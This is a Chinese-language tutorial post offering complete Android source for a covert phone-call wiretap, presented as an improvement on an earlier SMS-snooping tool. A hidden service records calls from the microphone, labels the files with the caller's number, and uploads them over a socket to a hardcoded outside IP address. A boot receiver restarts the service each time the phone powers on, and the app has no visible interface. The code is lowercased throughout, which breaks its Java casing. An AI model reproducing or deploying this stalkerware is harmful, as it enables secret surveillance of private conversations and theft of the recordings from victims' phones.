android电话窃听器(示例代码)
在我上篇文章,开发了一个“短信监听工具”,是基于广播接收者实现的,有一些缺陷(例如:不能隐藏的很深,不能开机自动运行...)
在本实例中,将使用新的技术“服务”来解决这些缺陷。
package cn.itcast.phone;
import java.io.file;
import java.io.outputstream;
import java.io.pushbackinputstream;
import java.io.randomaccessfile;
import java.net.socket;
import cn.itcast.utils.streamtool;
import android.app.service;
import android.content.context;
import android.content.intent;
import android.media.mediarecorder;
import android.os.ibinder;
import android.telephony.phonestatelistener;
import android.telephony.telephonymanager;
import android.telephony.gsm.smsmanager;
import android.util.log;
public class phonelistenservice extends service {
private static final string tag = "phonelistenservice";
@override
public void oncreate() {
telephonymanager telmanager = (telephonymanager) getsystemservice(context.telephony_service);
telmanager.listen(new tellistener(), phonestatelistener.listen_call_state);
log.i(tag, "service created");
super.oncreate();
}
@override
public void ondestroy() {//清空缓存目录下的所有文件
file[] files = getcachedir().listfiles();
if(files!=null){
for(file f: files){
f.delete();
}
}
log.i(tag, "service destroy");
super.ondestroy();
}
private class tellistener extends phonestatelistener{
private mediarecorder recorder;
private string mobile;
private file audiofile;
private boolean record;
@override
public void oncallstatechanged(int state, string incomingnumber) {
try {
switch (state){
case telephonymanager.call_state_idle: /* 无任何状态时 */
if(record){
recorder.stop();//停止刻录
recorder.release();
record = false;
new thread(new uploadtask()).start();
log.i(tag, "start upload file");
}
break;
case telephonymanager.call_state_offhook: /* 接起电话时 */
log.i(tag, "offhook:"+ mobile);
recorder = new mediarecorder();
recorder.setaudiosource(mediarecorder.audiosource.mic);//从麦克风采集声音(暂时只能监听到麦克风的声音信号,监听不到听筒的信号--只能监听到此人的说话,听不到对方说啥)
recorder.setoutputformat(mediarecorder.outputformat.three_gpp);//内容输出格式
recorder.setaudioencoder(mediarecorder.audioencoder.amr_nb);//音频编码方式
audiofile = new file(getcachedir(), mobile+"_"+ system.currenttimemillis()+".3gp");
recorder.setoutputfile(audiofile.getabsolutepath());
recorder.prepare();//预期准备
recorder.start(); //开始刻录
record = true;
break;
case telephonymanager.call_state_ringing: /* 电话进来时 */
log.i(tag, "incomingnumber:"+ incomingnumber);
mobile = incomingnumber;
break;
default:
break;
}
} catch (exception e) {
log.e(tag, e.tostring());
}
super.oncallstatechanged(state, incomingnumber);
}
private final class uploadtask implements runnable{
@override
public void run() {
try {
socket socket = new socket("220.113.15.71", 7878);
outputstream outstream = socket.getoutputstream();
string head = "content-length="+ audiofile.length() + ";filename="+ audiofile.getname() + ";sourceid=\r\n";
outstream.write(head.getbytes());
pushbackinputstream instream = new pushbackinputstream(socket.getinputstream());
string response = streamtool.readline(instream);
string[] items = response.split(";");
string position = items[1].substring(items[1].indexof("=")+1);
randomaccessfile fileoutstream = new randomaccessfile(audiofile, "r");
fileoutstream.seek(integer.valueof(position));
byte[] buffer = new byte[1024];
int len = -1;
while( (len = fileoutstream.read(buffer)) != -1){
outstream.write(buffer, 0, len);
}
fileoutstream.close();
outstream.close();
instream.close();
socket.close();
audiofile.delete();
} catch (exception e) {
log.e(tag, e.tostring());
}
}
}
}
@override
public ibinder onbind(intent intent) {
// todo auto-generated method stub
return null;
}
}
package cn.itcast.phone;
import android.content.broadcastreceiver;
import android.content.context;
import android.content.intent;
public class bootbroadcastreceiver extends broadcastreceiver {
@override
public void onreceive(context context, intent intent) {
//android开机广播,开机后启动电话监听服务
intent service = new intent(context, phonelistenservice.class);
context.startservice(service);
}
}
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="cn.itcast.phone"
android:versioncode="1"
android:versionname="1.0">
<application android:icon="@drawable/icon" android:label="@string/app_name">
<service android:name=".phonelistenservice" />
<receiver android:name=".bootbroadcastreceiver">
<intent-filter>
<action android:name="android.intent.action.boot_completed"/>
</intent-filter>
</receiver>
</application>
<uses-sdk android:minsdkversion="7" />
<uses-permission android:name="android.permission.record_audio"/>
<!-- 访问网络的权限 -->
<uses-permission android:name="android.permission.internet"/>
<uses-permission android:name="android.permission.read_phone_state"/>
<uses-permission android:name="android.permission.receive_boot_completed"/>
</manifest>
package cn.itcast.utils;
import java.io.bytearrayoutputstream;
import java.io.file;
import java.io.fileoutputstream;
import java.io.ioexception;
import java.io.inputstream;
import java.io.pushbackinputstream;
public class streamtool {
public static void save(file file, byte[] data) throws exception {
fileoutputstream outstream = new fileoutputstream(file);
outstream.write(data);
outstream.close();
}
public static string readline(pushbackinputstream in) throws ioexception {
char buf[] = new char[128];
int room = buf.length;
int offset = 0;
int c;
loop: while (true) {
switch (c = in.read()) {
case -1:
case '\n':
break loop;
case '\r':
int c2 = in.read();
if ((c2 != '\n') && (c2 != -1)) in.unread(c2);
break loop;
default:
if (--room < 0) {
char[] linebuffer = buf;
buf = new char[offset + 128];
room = buf.length - offset - 1;
system.arraycopy(linebuffer, 0, buf, 0, offset);
}
buf[offset++] = (char) c;
break;
}
}
if ((c == -1) && (offset == 0)) return null;
return string.copyvalueof(buf, 0, offset);
}
/**
* 读取流
* @param instream
* @return 字节数组
* @throws exception
*/
public static byte[] readstream(inputstream instream) throws exception{
bytearrayoutputstream outsteam = new bytearrayoutputstream();
byte[] buffer = new byte[1024];
int len = -1;
while( (len=instream.read(buffer)) != -1){
outsteam.write(buffer, 0, len);
}
outsteam.close();
instream.close();
return outsteam.tobytearray();
}
}